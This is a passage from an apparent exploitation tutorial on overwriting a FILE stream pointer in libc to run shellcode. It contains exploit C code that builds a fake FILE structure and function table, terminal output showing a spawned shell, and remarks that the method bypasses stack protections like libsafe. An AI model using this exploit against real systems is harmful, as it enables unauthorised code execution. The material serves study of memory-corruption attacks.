        /* Filling in whole buffer with addresses of our fake structure */ 
        for(n=0;n<1200-1;n+=4) 
                *tmp++ = fake_file_ret; 
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So we compile our exploit:  
 

 
After examining the program’s behavior we have the buffer target address. 
Now we define it in the exploit code: 
 

 
And we test once again: 
 

 

        /* Putting structure of FILE e.g. stdin */ 
        memcpy(buf, stdin, sizeof(FILE)); 
        /* Putting address to table of FILE operations */ 
        memcpy(buf+sizeof(FILE), &file_table_ret , 4); 
        /* Putting table content, that is in our case 40 elements. */ 
        tmp = (int*)(buf+sizeof(FILE)+4); 
         
        for(n=0;n<160;n+=4) 
                *tmp++ = shellcode_ret; 
        /* Putting shellcode right after table */ 
        memcpy(tmp, shellcode, sizeof(shellcode)); 
         
        /* Opening the file and writing structure into it */ 
        fd = open(FILENAME, O_CREAT | O_RDWR); 
        chmod(FILENAME, 0777); 
        write(fd, &buf, sizeof(buf)); 
        close(fd); 
        printf("%s file created!!\n", FILENAME); 
        return 0; 
} 

bash-2.05b$ gcc -o exploit exploit.c 
bash-2.05b$ ./exploit 
File exp_file created!! 
bash-2.05b$ ./fso exp_file 1200 
bffff1c8 
Violation of memory protection 
bash-2.05b$ 

#define BUFRET 0xbffff1c8 

bash-2.05b$ gcc -o exploit exploit.c 
bash-2.05b$ ./exploit 
File exp_file created!! 
bash-2.05b$ ./fso exp_file 1200 
bffff1c8 
sh-2.05b$ id 
uid=1337(hax) gid=1000(users) 
sh-2.05b$ exit 
exit 
bash-2.05b$ 
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We did exactly the same as when using gdb, but instead jumping to the 
specific address. The pointer table contained only shellcode addresses as 
entries. We could therefore start up any function in our stream, which would 
cause a jump to the shellcode. This was possible due to the specific structure 
of the libc library. If the addresses were stored statically, the attack would be 
impossible to perform. The library would, however, be less flexible. This 
example shows that apart from the programming errors themselves, in 
exploiting program weakness the specific structure of libraries can help too. 
 
Many of us might wonder if this can be useful for anything. It would still be 
much easier to use the technique of overwriting the stack frame, because 
programs terminated with exit() are relatively rare.  
 
The number of security measures applied to operating systems continues to 
grow. There are projects protecting the stack frame from overwriting, such as 
libsafe library or patch for the stack-smashing protector compiler. These 
won’t allow the stack frame to be overwritten. The technique demonstrated in 
this chapter can be used successfully to circumvent such security measures. 
Apart from this, the FILE structure, allocated by the fopen() function, is 
located on the heap. This fact can be taken advantage of in a heap overflow 
attack, in which it is very important what we overwrite, and the execution of 
the attack depends to a large degree on luck. However, it should be added that 
an attack of this kind is possible in the majority of operating systems. 
Differences are to be found only in the details pertaining to implementation. 
 
Knowledge of the file stream pointer overwrite technique allows more flexible 
planning of the attack and opens up new opportunities that are unavailable to 
those using older methods. The reader would therefore be well advised to 
develop his knowledge of this technique. 
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